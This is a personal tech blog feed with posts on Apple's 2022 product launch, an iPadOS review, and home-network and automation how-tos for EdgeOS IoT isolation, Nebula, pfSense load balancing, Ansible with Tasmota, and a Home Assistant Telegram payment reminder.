The “normal” iPhone 14 now comes in two sizes: 6.1" and 6.7", a new thermal design to keep the processor fresh (the processor is the same as the iPhone 13, the A15 bionic). It brings a faster aperture main camera that will help in low light performance and a new 12Mpx front camera with a wider aperture.

The iPhone will bring Crash Detection, like the Apple Watch, and can automatically notify emergency services even by using satellite connectivity.

iPhone 14 Pro

iPhone 14 Pro brings an all-new front design featuring a dynamic pill (called Dynamic Island) cut-out that surfaces content and alerts. It has an all-new display with smaller borders and an always-on display that uses LTPO technology to be power efficient.

It features the new A16 Bionic chip that sips power while bringing great performance to empower amazing new experiences on iPhone.

A classic design, reimagined.
The fastest chip in an iPhone, yet.
A brand new pro camera system.
Dynamic Island.

The iPhone 14 Pro brings a 48Mpx main sensor with a focal length of 24mm. It brings pixel-binning to improve low-light performance, and a new Action Mode to improve the image stabilization on video.

Sadly, no iPhone in the current lineup supports Wi-Fi 6E.

Apple Watch Series 8

The essential companion that’s always with you gets updated, it’s not only a tech gizmo but a health helper, always ready to help. The lineup consists of a Pro Apple Watch and the classic 41 and 45mm sizes.

Apple Watch Series 8 introduces a temperature sensor (used also for menstrual cycle tracking), Crash Detection that calls emergency services in the case of a car crash using machine learning trained on driving and crashes data, and Low Power Mode that slims down on features of the Apple Watch to extend its life up to 36 hours.

Apple Watch SE (second generation)

The second generation Apple Watch SE brings new colorways, a redesigned production process, and the same sensors from the Apple Watch Series 8 (along with the same SIP).

Apple Watch Ultra

Bigger and brighter display that reaches 2000 nits, an action button, and stronger audio. Apple Watch Ultra brings LTE on all the lineup.

The Action Button is a programmable button that can be configured on a per-context basis. The bigger battery can keep things running for 36 hours and has a higher resistance to the elements. It has a built-in siren that can be heard at ~200m away, WR100 water resistance, and EN13319 certification.

AirPods Pro 2

AirPods Pro 2 brings a new H2 chip, a new low distortion audio driver, and 2x noise cancellation performance. It includes a new tip for even smaller ears. Adaptive Transparency processes audio 48000 times per second to take out loud noises. AirPods Pro 2 brings a longer battery life (up to 30 hours of listening time), a touch surface to adjust volume, and Precision Finding to the case, along with a speaker, Apple Watch charger compatibility, and a lanyard strap connector.

Final reflections

Apple brought out some minor and major improvements across their whole lineup, with a focus on safety features and cooperation inside the ecosystem.

I’m amazed by the satellite connectivity for emergency services and the whole UX around that feature. Moreover Apple’s design expertise is truly showing through Dynamic Island.

Ok, this dynamic island looks so smooth!!!

That alone might be a good reason to get an iPhone 14 Pro!#AppleEvent #iPhone14Pro

pic.twitter.com/QXcPiJHZzi
— Sergio The One ♪ (@Sergio_TheOne) September 7, 2022

However, I’m less amazed by the iPhone 14 base model since it doesn’t bring anything substantially new to the table and maybe the formula of “if it ain’t broke don’t fix it” should not be followed for 3 years in a row. The same thing can also be said about AirPods Pro.

Oh, and the 10% price increment here in Italy. So. Pricy.

iPadOS, a year-long review

Sat, 31 Oct 2020 00:00:00 +0000

What’s an iPad? Is it a real computer? You might ask. Well, long story short: you can look at it as a computer only if your use-cases match what Apple envisioned for it. Let’s take a deep dive into it.

iPadOS is a fun computing platform designed for a touch-first interaction model, and let me get this straight: it excels at it.
If you take a look at competing platforms like Windows, ChromeOS, or Android, you will see ecosystems that are far from perfect on tablets.
These platforms are designed with input paradigms tied to a mouse and a keyboard or a smartphone interface.
The iPad, on the other hand, is distinctive and what sets it apart is the App ecosystem.
However, this shouldn’t be an invitation to Apple to stop fixing things or adding new features to the iPad.

There’s an app for that

The iPad platform offers a clean slate that developers are happy to use and develop for. The App Store is full of pretty good iPad apps.
The quality of these apps is usually top-notch and the often powerful chips on these devices help to deliver a smooth experience.

Looking through an Android user’s perspective, one of the most fascinating things is that the developer adoption of new frameworks or new hardware features is always fast. Developers are keen on updating their apps to take advantage of these new features. There’s always something fresh on the iPad and each iPadOS update brings new features to the table.

Productivity & Creativity

One of the main reasons I bought an iPad is to run productivity apps. Apple took a great stance with the introduction of the Apple Pencil and the Smart Keyboard(s). The iPad has become a productivity-first device and not another content consumption machine.

Apps like GoodNotes, Pretext, or Concepts feel right at home on the iPad. Starting from iPadOS 13.4, the addition of first-class mouse support on the iPad brought exciting new possibilities to this platform.

Creativity-oriented apps on the iPad are powerful yet simple. You will comfortably adapt from a keyboard and mouse workflow to the iPad since creating something on it requires less cognitive load.
I’m a big fan of apps like Procreate (even though I can’t draw). Keep in mind that developers are bringing more and more desktop apps to the iPad. On the App Store, you’ll see names like Affinity Designer, Affinity Photo. There’s even a slice of Adobe Creative Cloud apps on the iPad!

Input on the iPad

I feel like this is an area of the iPad experience that can take a little revision. Input feels fluid, some of the interactions are well presented and understandable but there are times I find them very confusing.

Just look at this video by Apple Support. It’s just scratching the surface. Now add a trackpad, a keyboard, and the Apple Pencil. It’s gesture-ville!
There’s even a shake-to-undo gesture on by default and the best time to discover it is when you’re trying to get something done inside a vehicle.

Oh, Hi! Hello there!

Apple Pencil, a must that comes at a price

The Apple Pencil is one of the accessories that separate the iPad experience from other tablets. It’s not an extension of your fingers. It’s a tool designed for content creation.
With iPadOS 14 and the introduction of Scribble and handwriting editing, you can use the Apple Pencil on a lot more apps.

If you’re using the iPad for anything more other than content consumption, the Pencil is a must.

The responsiveness of the Pencil is remarkable. It feels like you’re writing on paper. There are only one problem and two annoyances:

It costs 1/3 of the cheapest iPad;
Placement and charging of the first generation is ridiculous (solved by the second generation);
Not every part of the iPad interface supports it (more on this later).

Mouse and Keyboard

The default software keyboard is okay. It’s the only keyboard I know that supports split typing on the iPad. It’s responsive most of the time. The only problem I encountered with it is when using a combination of keyboard-based input and the new “Scribble” feature.

When you add a physical keyboard and a mouse to the iPad equation, it starts feeling like a real computer. Text interaction is instantly natural. If you’re coming from a macOS machine, the majority of the shortcuts are the same.

The mouse/trackpad experience on the iPad is far from the desktop-like experience and not in a bad way. The cursor is optimized for touch-first interfaces and morphs into the UI element you’re trying to point and click and sticks to it, like a magnet.

Multitasking

iPadOS is a focus-centric operating system. It has interesting multitasking abilities although, for me, they are meant to be used in a burst when a single app on screen can be limiting.

I find myself using the “Slideover” feature a lot when I need to check on something quickly and not strictly related to the main task. Instead, I use the split-screen feature to reference notes and transfer data between apps.

The discoverability factor of the various multitasking features is pretty low. How am I supposed to know, at a glance, that there are multiple drop targets for the apps?

A limitation that may seem small of the iPad multitasking is that it’s only limited to apps you have in the dock or dragged from Spotlight. You will quickly realize that it’s not a small limitation when you can’t trigger Spotlight from other apps if you don’t have a keyboard attached.

Something funny about the multitasking UI is that you can’t use it with the Apple Pencil. Strange. I can drag files and apps just fine with the Pencil elsewhere in the system.

Settings

I feel like settings on iPadOS are flawed. The idea of centralizing everything under one roof looks good even though it’s not something every developer adapted their apps for. You’ll find a lot of inconsistencies and settings scattered between the app and the Settings app.

Procreate settings example

What are the criteria used to move a setting from one screen to another? I will never know.

Home Screen

The iPad home screen remained simple even with the advent of iPadOS 14. I’d love to see widgets on the home screen like the iOS counterpart. The icon grid is well-spaced. Selecting the “more” option is something you should do immediately.

I wish Apple gave us the ability to use the App Library on the iPad since the home screen can get messy when you have a lot of apps.

File Management

File management on the iPad happens inside the “Files” app. You can also see connected external drives in the Files app.
The iPad doesn’t expose its whole filesystem to apps. Inter-app communication can happen in two ways: FileProvider or the share sheet.

Pretext and iSH working togheter via the FileProvider Framework.

Apps using the FileProvider Framework can see other apps files and work with them. It’s a little feature that can enable powerful workflows on the iPad.
For example, you can connect your camera to your iPad and access pictures from Pixelmator Photo. Edit the images and then save them to Google Drive without switching any app.

Scriptable goodness

Another powerful app on the iPad is “Shortcuts”. Shortcuts are like mini-applets that you can make to automate all sorts of things. You can use them to send commands to other machines via SSH or to consume a REST API.

If you’re an automation geek you’ll feel right at home with its interface.
I use Shortcuts to compress images, control my Torrent box, and shorten URLs.

Honorable Mentions

HomeKit is the fastest way to control my smart home since it controls devices locally and it’s not cloud-dependent.
Spotlight search is really fast and apps integrate with it nicely.
The App Store “Today” view is well-curated and often brings up some hidden gems. App discoverability, in general, is stellar on the iPad.

Wish List

I wish Apple took the developer market more seriously with the iPad. A built-in UNIX shell would make me very happy.
Another wish would be better conferencing app support on the iPad since only FaceTime can use the popup view.

Overall, the iPad is proving a powerful device to learn, create, and consume on. It’s making me curious about iOS in general. The iPad is a device that I’m more than happy using. I don’t see it parting away from my digital life anytime soon.

IoT device segregation on EdgeOS

Mon, 14 Sep 2020 00:00:00 +0000

Having a good firewall in place when building a home network is something that now is more important than ever. Traditionally, home firewalls were made to protect the internal local network from connection that could originate from the internet (That’s what you expect from an ISP provided modem/router combo). In this day and age, thanks to the fast rise of smart home gadgets, our home networks are becoming more and more occupied by little computers usually running firmware that is not possible to check or manage. A firewall can help us mitigate the potential issues that can occur by using this kind of devices.

The intent of this article is to provide a sensible baseline configuration that you can expand to suit your own needs. These concepts can be applied on a variety of SOHO routers (check yor router for VLAN tagging support and firewall capabilities between different networks).

The router I’ve chosen to use for this post is the small and mighty Ubiquiti EdgeRouter X, a five port router that’s plenty capable of handling a medium-to-large home network without breaking the bank. This router runs a fork of Vyatta called EdgeOS as the stock operating system. I’ve paired this device with a Unifi Access Point to satisfy all my Wi-Fi needs.

High-level overview

The steps you need to take care of are the following:

Create a new virtual interface and assing it an IP address;
Attach the virtual interface to an ethernet port;
Setup a firewall to isolate this new interface from the rest of your network.

EdgeOS specific configuration

To configure the EdgeRouter we are going to use the CLI. We are going to start a configuration session by typing “configure” into the shell.

Create a network group that targets RFC1918 networks:

1set firewall group network-group RFC1918 description 'RFC1918 ranges'
2set firewall group network-group RFC1918 network 192.168.0.0/16
3set firewall group network-group RFC1918 network 172.16.0.0/12
4set firewall group network-group RFC1918 network 10.0.0.0/8

Setup the firewall to block traffic to RFC1918 networks but allow DNS and DHCP:

1set firewall name IOT_IN_LOCAL default-action accept
2set firewall name IOT_IN_LOCAL description 'IOT In and Local ruleset.'

2.1 We are going to allow established and related network traffic so that we can access the IOT devices from other networks.

1set firewall name IOT_IN_LOCAL rule 10 action accept
2set firewall name IOT_IN_LOCAL rule 10 description 'allow established/related'
3set firewall name IOT_IN_LOCAL rule 10 protocol all
4set firewall name IOT_IN_LOCAL rule 10 state established enable
5set firewall name IOT_IN_LOCAL rule 10 state related enable

2.2 We can’t forget to allow DHCP requests so that our devices can get an IP address. It might be useful to allow DNS requests originating from our IOT VLAN too.

1set firewall name IOT_IN_LOCAL rule 20 action accept
2set firewall name IOT_IN_LOCAL rule 20 description 'Allow DNS'
3set firewall name IOT_IN_LOCAL rule 20 destination port 53
4set firewall name IOT_IN_LOCAL rule 20 protocol tcp_udp
5
6set firewall name IOT_IN_LOCAL rule 30 action accept
7set firewall name IOT_IN_LOCAL rule 30 description 'Allow DHCP'
8set firewall name IOT_IN_LOCAL rule 30 destination port 67
9set firewall name IOT_IN_LOCAL rule 30 protocol udp

2.3 The last firewall rule we are going to setup is the one that blocks traffic going to our other private network(s).

1set firewall name IOT_IN_LOCAL rule 40 action drop
2set firewall name IOT_IN_LOCAL rule 40 description 'Drop RFC1918'
3set firewall name IOT_IN_LOCAL rule 40 destination group network-group RFC1918
4set firewall name IOT_IN_LOCAL rule 40 protocol all

Create a new virtual interface for the VLAN intended to be used by our IOT devices:

1set interfaces ethernet eth1 vif 32 address 10.0.32.1/24
2set interfaces ethernet eth1 vif 32 description IOT_VLAN
3set interfaces ethernet eht1 vif 32 mtu 1500

Assign the firewall ruleset to the in and local sides of the firewall.

1set interfaces ethernet eth1 vif 32 firewall in name IOT_IN_LOCAL
2set interfaces ethernet eth1 vif 32 firewall local name IOT_IN_LOCAL

Setup the DHCP server to listen to the requests coming from the new VLAN:

1set service dhcp-server shared-network-name IOT_VLAN authoritative disable
2set service dhcp-server shared-network-name IOT_VLAN subnet 10.0.32.0/24 default-router 10.0.32.1
3set service dhcp-server shared-network-name IOT_VLAN subnet 10.0.32.0/24 dns-server 10.0.32.1
4set service dhcp-server shared-network-name IOT_VLAN subnet 10.0.32.0/24 lease 86499
5set service dhcp-server shared-network-name IOT_VLAN start 10.0.32.10 stop 10.0.32.100

Setup the DNS forwarder to listen on this virtual interface:

1set service dns forwarding listen-on eth1.32

Configure the mDNS repeater to enable mDNS resolution from our other networks (useful for devices like the Chromecast).

1set service mdns repeater interface eth1
2set service mdns repeater interface eth1.32

Save your configuration with “commit” and then “save”.

At this point you should now have a new VLAN that cannot see your other networks but can still access the internet.

Disclosure: Some links on this page might be affiliate links.

Configuring Nebula, a simple overlay networking tool

Fri, 01 May 2020 00:00:00 +0000

VPNs are one of the preferred ways to tie-up multiple servers (and clients) together, but their nature becomes a bottleneck when the infrastructure to link becomes larger.
A solution to this problem comes in the form of a software defined network (SDN).

Nebula (from SlackHQ) addresses this problem by providing software that helps you build a point-to-point network between devices that can be situated (almost) anywhere in the world!

The communication between devices is encrypted using the Noise Protocol Framework, the same used by Signal.

And you know what’s great? Nebula is completely open source!

Nebula Vocabulary

Nebula’s vocabulary is not so different from normal networking, you should only get accostumed to two terms:

lighthouse;
node.

Lighthouse is the term used by Nebula to address nodes that are publicly routable.
A node connects first to the lighthouse, then it discovers the most efficent path to reach other nodes on the network.

Configuring Nebula

Let’s get to the fun part!

As stated earlier, to run a Nebula Lighthouse you need a machine with a publicly routable IP address, if you don’t have one, a little 5$ Droplet on DigitalOcean will do just fine.
This guide will show you how to run Nebula as a regular user, in constrast with the official documentation that assumes you will run Nebula as the root user.

On the machines you’d like to attach to Nebula, you need to download the binary from the release page on GitHub and then extract it using tar.

1$ curl -OL https://github.com/slackhq/nebula/releases/download/v1.2.0/nebula-linux-amd64.tar.gz
2$ tar xzvf nebula-linux-amd64.tar.gz

Now you need to move the Nebula binary to /usr/bin/ and set the right permissions.
You can do it manually or you can use the install command.

1# install ./nebula /usr/bin

Since we don’t want to run Nebula as root, it’s the right time to add a system user (so it’s hidden from your login manager) for Nebula.
This new user doesn’t need a home directory, so we’re instructing the useradd command to not create one.

1# useradd --system --no-create-home nebula

Following the Filesystem Hierarchy Standard that states that configuration files should reside in the /etc directory, we’re going to create the directories to store configuration files and certificates that are related to Nebula.

1# mkdir /etc/nebula
2# mkdir /etc/nebula/certs

To instantiate a Nebula network you have to generate a Nebula Certificate authority, preferably on another host so you can keep your private key secure. Remember to copy the certificate to your hosts!

1$ ./nebula-cert ca -name "My really cool organization"
2$ scp ca.crt user@<hostname>:/etc/nebula/certs

Make sure to keep the ca.key file in a safe place, you will need it if you want to add other hosts to your network.

Generate a keypair for each host you’d like to connect to your Nebula network and copy the pair to your Nebula’s hosts:

1$ ./nebula-cert sign -name "mylighthouse" -ip "192.168.100.1/24"
2$ scp mylighthouse.crt user@<hostname>:/etc/nebula/certs
3$ scp mylighthouse.key user@<hostname>:/etc/nebula/certs

It’s time to configure Nebula!
Create a configuration file inside the previously created directory and open it with your text editor of choice. I’ve deviced to put my configuration in /etc/nebula/config.yml. The configuration will look a bit different depending by the node, for example, my Lighthouse node is sporting this configuration:

 1pki:
 2 ca: /etc/nebula/certs/ca.crt
 3 cert: /etc/nebula/certs/mylighthouse.crt
 4 key: /etc/nebula/certs/mylighthouse.key
 5
 6lighthouse:
 7 am_lighthouse: true
 8
 9listen:
10 host: 0.0.0.0
11 port: 4242
12
13punchy:
14 punch: true
15
16tun:
17 dev: nebula1
18 drop_local_broadcast: false
19 drop_multicast: false
20 tx_queue: 500
21 mtu: 1300
22 routes:
23 unsafe_routes:
24
25firewall:
26 conntrack:
27 tcp_timeout: 120h
28 udp_timeout: 3m
29 default_timeout: 10m
30 max_connections: 100000
31
32 outbound:
33 # Allow all outbound traffic from this node
34 - port: any
35 proto: any
36 host: any
37
38 inbound:
39 # Allow icmp between any nebula hosts
40 - port: any
41 proto: icmp
42 host: any

On my other nodes, the configuration looks something like this:

 1pki:
 2 ca: /etc/nebula/certs/ca.crt
 3 cert: /etc/nebula/certs/mynode.crt
 4 key: /etc/nebula/certs/mynode.key
 5
 6static_host_map:
 7 "192.168.100.1": ["<lighthouse_public_ip>:4242"]
 8
 9lighthouse:
10 hosts:
11 - "192.168.100.1"
12
13punchy:
14 punch: true
15
16tun:
17 dev: nebula1
18 drop_local_broadcast: false
19 drop_multicast: false
20 tx_queue: 500
21 mtu: 1300
22 routes:
23 unsafe_routes:
24
25firewall:
26 conntrack:
27 tcp_timeout: 120h
28 udp_timeout: 3m
29 default_timeout: 10m
30 max_connections: 100000
31
32 outbound:
33 # Allow all outbound traffic from this node
34 - port: any
35 proto: any
36 host: any
37
38 inbound:
39 # Allow icmp between any nebula hosts
40 - port: any
41 proto: icmp
42 host: any

Note that nodes need to define their “Lighthouse”.

To make our “nebula” user the owner of the /etc/nebula directory, we have to change the ownership of it. We should also change the permissions of the certificats to something less permissive.

1# chown -R nebula:nebula /etc/nebula
2# chmod 600 /etc/nebula/certs/*

We’re almost done! The second-last thing to do is to add the NET_CAP_ADMIN capability to the Nebula binary since it needs to be able to create a new interface on the system.

1# setcap cap_net_admin=+pe /usr/bin/nebula

For our last step, we run Nebula as the nebula user on our hosts.

1# su nebula
2$ nebula -config /etc/nebula/config.yml

To test Nebula open a new shell and try to ping another machine on the Nebula network, it’s almost magical.

Nebula as a Systemd unit

A natural step to take after you’ve tested Nebula is to run it as a service so you don’t need to start it manually each time you need it. Well, nothing could be simpler!
You just have to create and edit a Systemd unit. An example can be found below:

 1[Unit]
 2Description=Nebula Service
 3After=network.target
 4StartLimitIntervalSec=0
 5
 6[Service]
 7Type=simple
 8Restart=always
 9RestartSec=1
10User=nebula
11ExecStart=/usr/bin/nebula -config /etc/nebula/config.yml
12
13[Install]
14WantedBy=multi-user.target

Note that this Systemd unit runs Nebula with the “nebula” user and starts just after reaching the network target.

Now you need to reload configuration files for the daemons on your system so Systemd can pick-up the new unit:

1# systemctl daemon-reload

You can now enable the Nebula service so it starts automatically after a reboot. If you’re not going to reboot, remember to start the service manually. 😉

1# systemctl enable nebula.service
2# systemctl start nebula.service

Update: Launchd on macOS

If you want to run Nebula as a daemon on macOS, create and edit a launchd plist file as follows:

 1<?xml version="1.0" encoding="UTF-8"?>
 2<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
 3<plist version="1.0">
 4 <dict>
 5 <key>Label</key>
 6 <string>/usr/local/bin/nebula</string>
 7 <key>LaunchOnlyOnce</key>
 8 <true/>
 9 <key>ProgramArguments</key>
10 <array>
11 <string>/usr/local/bin/nebula</string>
12 <string>-config</string>
13 <string>/etc/nebula/config.yml</string>
14 </array>
15 <key>RunAtLoad</key>
16 <true/>
17 </dict>
18</plist>

Remember to load this new daemon:

1# sudo launchctl load /Library/LaunchDaemons/com.nebula.plist

Oh, nice to see you here!
If you’ve reached the end of this post you can now enjoy your freshly baked SDN!

Disclosure: Some links on this page might be affiliate links.

Quick Tip: macOS as a cache for Apple Devices

Thu, 09 Apr 2020 00:00:00 +0000

A cache server is a great tool to speed up recurring network requests (example: system updates) and reduce the overall used internet bandwidth.

Today we’ll see how to set-up a cache server for our Apple devices.

Let’s say that you have multiple Apple devices on your network and you happen to have a macOS device always powered on (or a macOS vm, ed.), you can use the after-mentioned device as a cache for your other devices.

To check if it’s possible to use your Mac as a caching server, run this command:

1$ AssetCacheManagerUtil canActivate

If you get a “yes” as a response, you can set-up your cache server via this simple command:

1$ sudo AssetCacheManagerUtil activate

Your devices will now discover this cache server automatically after a reboot.

You can find more information about this macOS feature here.

How to use pfSense to load balance between two ISPs

Sun, 05 Apr 2020 00:00:00 +0000

Today’s post aims at helping people that are working/studying from home and don’t have a stable internet conection.
Since me and my family are currently staying at home we are taxing our ADSL2+ connection very hard with multiple simultaneous video conferences, so I had to find a way to keep all my family online.
The way I’ve chosen to do that is using multiple WANs, one of them being over LTE.

Prerequisites

A pfSense box with 3+ network interfaces;
A WAN and a LAN interface already configured inside pfSense;
A 4G/LTE modem that connects over ethernet.

If you already have the prerequisites sorted out, let’s get to balancing!

Configure the additional interface

To start the journey in load balancing, we’ll start by telling our pfSense box where to find the interface that we will later use to connect our LTE router.

To add an interface you need to open the Assingnment menu under Interfaces, select the desidered interface in the dropdown menu, and then click add.

We can now configure the chosen interface and assing it a name. In my case I had to setup the address of this interface with DHCP.

Now it’s a right time to plug our 4G/LTE modem to our pfSense box.

At the bottom of the page I checked block private and bogus networks, then you can hit save and reload the configuration.

Setup a multi-gateway

We’re almost there!
We have to create a multi-gateway that we’ll later use to route our traffic through.

We need to set a network tier, remember that a lower number is preferred.
If both interfaces share the same network tier, pfSense will balance packets on both of them.
Remember to change the “Trigger Level” to “Packet Loss or High Latency” so you will always use the best connection.

Configure the firewall to use the multi-gateway

That’s our last step! The last thing to do is to configure our LAN firewall to route connections to our new gateway group.
We need to open the Rules page of our firewall, select our LAN interface.

Our rule will be a “Pass” rule that will be configured as following:

Interface: Lan
Protocol: Any
Source: Any
Destination: Any

The last thing to do is going to the advanced section of our firewall rule and set the gateway to the previously created gateway group.

We’re finally done!
You can now go and test your load balanced network!

Using Ansible to deploy IoT devices

Tue, 10 Mar 2020 00:00:00 +0000

This article is going to show you how an existing tool intended for completely different purposes can be used to automate the boring task of manually setting up and mantain a fleet of IoT devices.
For those of you who don’t know what Ansible is, Ansible is an automation platform made for enterprises and for those in need of managing a big set of devices, usually servers.

Getting our feet wet with Ansible

Ansible revolves around the concept of Infrastructure as Code and provides a set of tools to manage said infrastructure.
One advantage of pursuing to keep our configurations within Ansible is the ability to reproduce builds (configurations, in our case).

Ansible’s basic concepts

For the sake of simplicity, we’re going to focus on 4 core concepts:

Playbooks
Tasks
Modules
Inventory

Playbooks

An Ansible Playbook is a YAML file that describes the state of the devices involved in the configuration and what tasks should be done.

Tasks

Tasks in Ansible are the actions that will be executed.
They run sequentially.

Modules

Modules are used in tasks and they express the “type” of action that should be executed.

Inventory

An inventory is a file that contains the hosts and the groups that should be targeted by our tasks.

After this little introduction, let’s get to it!

Prerequisites

To follow this tutorial you need at least one device with Tasmota already connected to our WiFi network (preferably with a fixed IP address).
You also need a computer with Python and git installed.

Installing Ansible

Installing Ansible is quite easy, many Linux distributions have it inside their repositories, you can also use pip, and type this tiny command:

1pip install ansible

Creating an inventory

To create an inventory you should create an inventory file and then edit it with your preferred file editor.

An example file will look something like that:

[plugs]
192.168.0.10
[lights]
192.168.0.11

As you can see we use square brackets to define host groups.

Using the inventory to store variables

Another great feature of the inventory is the ability to store variables that can be used inside tasks.

[plugs]
192.168.0.10 friendly_name="Bathroom Fan"
[lights]
192.168.0.11 friendly_name="Kitchen Downlight"

Setup the Tasmota integration

Since Tasmota is not the typical use of Ansible we need to install a custom role to use the two systems together.

The role we’re going to use today is Tobias Richter’s “Tasmota”.

The command to install this role is:

1ansible-galaxy install tobias_richter.tasmota

Writing the playbook

Now it’s time to write the playbook!
Create a new file named playbook.yaml and then open it with your file editor.
Now we have to create our first play.

We start by defining the group of hosts we want to target and then we have to disable the gather_facts function, as for the documentation of the custom role.

1- hosts: all
2 gather_facts: no

We can now create our first task and give it a name:

1tasks:
2 - name: Ensure device reports status

Next, we have to define what module we’re going to use. For this custom role, we have to use the include_role module.
Our task will become something like that:

1tasks:
2 - name: Ensure device reports status
3 include_role:
4 name: ansible-tasmota

Now it’s time to define the command we’re going to send to our devices.
Edit your task as follows:

1tasks:
2 - name: Ensure device is present
3 include_role:
4 name: ansible-tasmota
5 vars:
6 tasmota_commands:
7 - command: Status

The resulting playbook.yaml will look like this:

1- hosts: all
2 gather_facts: no
3 tasks:
4 - name: Ensure device is present
5 include_role:
6 name: ansible-tasmota
7 vars:
8 tasmota_commands:
9 - command: Status

Now we can run our playbook like this:

1ansible-playbook -i inventory playbook.yaml

You can use this as a base to create more complex playbooks.

Another example

Let’s say we want to configure the MQTT connection of our devices, we can use a playbook that looks something like this:

 1- hosts: all
 2 gather_facts: no
 3 vars_files:
 4 - default.yaml
 5 tasks:
 6 - name: Ensure template is set
 7 include_role:
 8 name: ansible-tasmota
 9 vars:
10 - name: Ensure mqtt configuration is present
11 include_role:
12 name: ansible-tasmota
13 vars:
14 tasmota_commands:
15 - command: Backlog
16 value: "mqttuser <mqttuser>; mqttpassword <mqttpass>; mqttport 1883; mqtthost <mqtthost>;"

As you can see, using Ansible to configure a fleet of Tasmota devices is an easy task to setup and will help you manage your growing collection of smart devices in the long run.

Netflix Payments reminder with the help of Home Assistant

Mon, 02 Mar 2020 00:00:00 +0000

Today’s project aims at tracking the invoices of a shared account thanks to Home Assistant.
For those of you that don’t know what Home Assistant is, well, Home Assistant is a versatile home automation software that can integrate a lot of different devices. It’s starting to become an essential part of my living areas thanks to its possibilities.
And sometimes you just wish that you could use it to automate people (just kiddin’).

Prerequisites

If you’re reading this, it’s probably too late and you’ve already got your feet wet with Home Assistant. Otherwise, you need an installation of Home Assistant. You can install it following the official documentation here.
You also need a Telegram bot, you can create one using Telegram’s @botfather.

Counting in Home Assistant

Home Assistant has a built-in way of counting things: the counter integration.
This integration offers a way of storing an integer number and changing its value.
We’re going to setup this integration in our configuration.yaml file (situated in the root of our Home Assistant configuration folder).

 1counter:
 2 netflix_user_0:
 3 initial: 0
 4 step: 4
 5 name: Mario
 6 netflix_user_1:
 7 initial: 0
 8 step: 4
 9 name: Luigi
10 netflix_user_2:
11 initial: 0
12 step: 4
13 name: Wario

Scheduling counter’s increments

In a nutshell, Home Assistant makes things happen through automations. Automations are pieces of code that will run when something triggers it and/or some conditions are met.
In a home automation system, they are the glue that can tie all of our devices together.
Today we’ll use them to create a recurring task dedicated to incrementing our newly added counters.

 1automation:
 2 - alias: Increment Counter
 3 trigger:
 4 - platform: time
 5 at: "10:00:00"
 6 condition:
 7 - condition: template
 8 value_template: "{{ now().day == 25 }}"
 9 action:
10 - service: counter.increment
11 entity_id:
12 - counter.netflix_user_0
13 - counter.netflix_user_1
14 - counter.netflix_user_2

As for the above example, our automation will be composed by three distinct parts:

A trigger;
A condition;
An action.

This automation will check every day at 10:00 am if the current day is the 25th of the month, if the condition is true, it will execute the action of incrementing the counters with the predefined step.

An important part of this project is notifying your friends if there’s a change on their “debts”. This part is tied to the messaging service of your choice.
I consider myself lucky that our “sharing group” is on Telegram, widely supported by the official Home Assistant integration.

So, you might have guessed it, we’re using Telegram today.

To configure this integration you have to put the following inside your configuration.yaml:

 1telegram_bot:
 2 - platform: polling
 3 api_key: YOUR_API_KEY
 4 allowed_chat_ids:
 5 - YOUR_CHAT_ID
 6 - GROUP_CHAT_ID
 7
 8notify:
 9 - name: NOTIFIER_NAME
10 platform: telegram
11 chat_id: GROUP_CHAT_ID

You can get chat ids using @chatid_echo_bot.

Sending messages to a Telegram group

After the setup of the Telegram platform we need to find a way to send notifications to our group.
Let’s assume we decide to send a message to our group every time we increment the counters.
To do so we just need to edit our previous automation and add the following action:

 1- service: notify.netflix_group
 2 data_template:
 3 message: >
 4 ⚠️ Status:
 5
 6 {{ states.counter.netflix_user_0.name }}: € {{ states.counter.netflix_user_0.state }}
 7
 8 {{ states.counter.netflix_user_1.name }}: € {{ states.counter.netflix_user_1.state }}
 9
10 {{ states.counter.netflix_user_2.name }}: € {{ states.counter.netflix_user_2.state }}

We’re using templates so we can dynamically generate the message.

Reached this point, we can call it a day and the basics of our system are now working. But at the moment we have no way to track “automatically” if a user paid its debt.

User input from Telegram inline keyboard

One of the options given by Telegram to interact with bots is the inline keyboard.
Inline keyboards are a set of buttons attached to a message sent by a bot.
Each button triggers a callback (to which Home Assistant can respond).

Adding an inline keyboard to a message

Adding an inline keyboard to a message is a trivial operation, we just need to define our keyboard in our message.
It can be done by editing the previous action by adding:

1data:
2 inline_keyboard:
3 - "User0:/dec0"
4 - "User1:/dec1"
5 - "User2:/dec2"

The resulting action will look something like that:

 1- service: notify.netflix_group
 2 data_template:
 3 message: >
 4 ⚠️ Status:
 5
 6 {{ states.counter.netflix_user_0.name }}: € {{ states.counter.netflix_user_0.state }}
 7
 8 {{ states.counter.netflix_user_1.name }}: € {{ states.counter.netflix_user_1.state }}
 9
10 {{ states.counter.netflix_user_2.name }}: € {{ states.counter.netflix_user_2.state }}
11 data:
12 inline_keyboard:
13 - "User0:/dec0"
14 - "User1:/dec1"
15 - "User2:/dec2"

Reacting to Telegram callbacks

We’re almost there! We have counters, buttons, automations and messages.
Now we should let our friends notify our system with the buttons mentioned above.
We have to react to their callbacks: according to the official documentation, we need another automation to react to the callbacks.

Our automation is gonna look like this one:

 1alias: Other Netflix Decrement Counter
 2trigger:
 3 - platform: event
 4 event_type: telegram_callback
 5 event_data:
 6 chat_id: GROUP_CHAT_ID
 7condition:
 8 - condition: template
 9 value_template: >
10 {{ "/dec" in trigger.event.data.command }}
11action:
12 - service: counter.decrement
13 data_template:
14 entity_id: >
15 counter.netflix_user_{{ trigger.event.data.command | replace("/dec", "") }}

The condition is there to check if the command that we received contains the string: “/dec”.
In the action we see another template, this one is used to get the right counter based on the button that got pressed.

Updating the message

A possible solution to notify of the decrement is to send another message, but I’m not using this solution because it appears quite “chatty” to me and I don’t want to annoy my friends.
Since Telegram supports editing of messages, I’ve opted to use this solution. We just need to add another action to the previous automation.

 1- service: telegram_bot.edit_message
 2 data_template:
 3 message_id: "{{ trigger.event.data.message.message_id }}"
 4 chat_id: "{{ trigger.event.data.chat_id }}"
 5 title: "*Message edit*"
 6 message: >
 7 ⚠️ Status:
 8
 9 {{ states.counter.netflix_user_0.name }}: € {{ states.counter.netflix_user_0.state }}
10
11 {{ states.counter.netflix_user_1.name }}: € {{ states.counter.netflix_user_1.state }}
12
13 {{ states.counter.netflix_user_2.name }}: € {{ states.counter.netflix_user_2.state }}
14 inline_keyboard:
15 - "User0:/dec0"
16 - "User1:/dec1"
17 - "User2:/dec2"

Final Steps

We’re ready to deploy!
Add your new, and fresh baked Telegram bot to your sharing group.
Your friends will be grateful for this simple and effective reminder 😇.

